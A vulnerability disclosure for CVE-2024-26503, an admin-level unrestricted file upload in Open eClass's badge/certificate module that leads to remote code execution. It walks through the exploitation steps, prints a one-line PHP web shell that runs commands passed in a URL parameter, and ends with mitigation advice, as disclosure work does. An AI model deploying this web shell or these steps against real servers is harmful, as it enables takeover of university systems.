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Open eClass – CVE-2024-26503: Unrestricted File Upload Leads to Remote Code Execution

During an assessment, I identified a severe security vulnerability within Open eClass, an e-learning platform extensively utilized across educational institutions, notably within Greece, where it is deployed by virtually all Greek Universities and educational entities. Open eClass, developed by GUnet (Greek Universities Network), is instrumental in delivering asynchronous e-learning services. The vulnerability, cataloged under CVE-2024-26503, involves an unrestricted file upload flaw that enables remote code execution (RCE), impacting versions 3.15 and earlier of the platform. This critical security lapse presents a significant risk, potentially allowing unauthorized access and control over the system, thereby compromising the integrity and security of the educational infrastructure.

Affected Versions:

● version <= 3.15

CVSSv3.1 Base Score: 9.1 (Critical)

CVSSv3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Exploitation Guide

The vulnerability can be exploited by following these steps:

1. Login as an Administrator

The initial step requires an attacker to have administrative access to the Open eClass platform.


Figure 1: Open eClass Login Page

2. Navigate to the Badge/Certificate Administration Page.

  The vulnerability is located within the badge and certificate management module of Open eClass. An attacker needs to access the `certbadge.php` page under the admin module.

 Figure 2: Open eClass certbadge.php 


3. Initiate Badge Icon Upload.
 
By selecting the option to add a new badge icon, the attacker proceeds to the file upload functionality.

Figure 3: Open eClass Add new badge icon


Figure 4: Open eClass upload a web shell 


4. Upload a Malicious PHP File.
 
By selecting the option to add a new badge icon, the attacker proceeds to the file upload functionality.

Figure 5: Open eClass upload web.php

Content of web.php


  <?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

5. Execute Remote Commands.

Figure 6: Open eClass RCE

Once the malicious file is uploaded, it can be accessed directly via a web browser or a tool like curl to execute system commands remotely.

Warning

You can also abuse the Edit functionality of a badge as well in order to achieve RCE

Figure 7: Open eClass Edit badge

Mitigation and Recommendations

Organizations using Open eClass version 3.15 or below are urged to take immediate action to mitigate this vulnerability. Recommended steps include:

●Patching: Apply updates provided by GUnet for Open eClass as soon as they become available.

●Access Control: Ensure that administrative interfaces are accessible only to authorized personnel.

●File Upload Security: Implement server-side checks to restrict file types that can be uploaded and executed on the server. Whitelisting allowed file types can significantly reduce the risk.

Conclusion

The discovery of CVE-2024-26503 highlights the critical importance of secure development practices and the need for ongoing vigilance in maintaining web applications. Organizations relying on Open eClass for e-learning services should take immediate steps to secure their systems against this significant security threat. By fostering a culture of security awareness and adopting comprehensive security measures, educational institutions can protect their digital learning environments from potential cyber threats.

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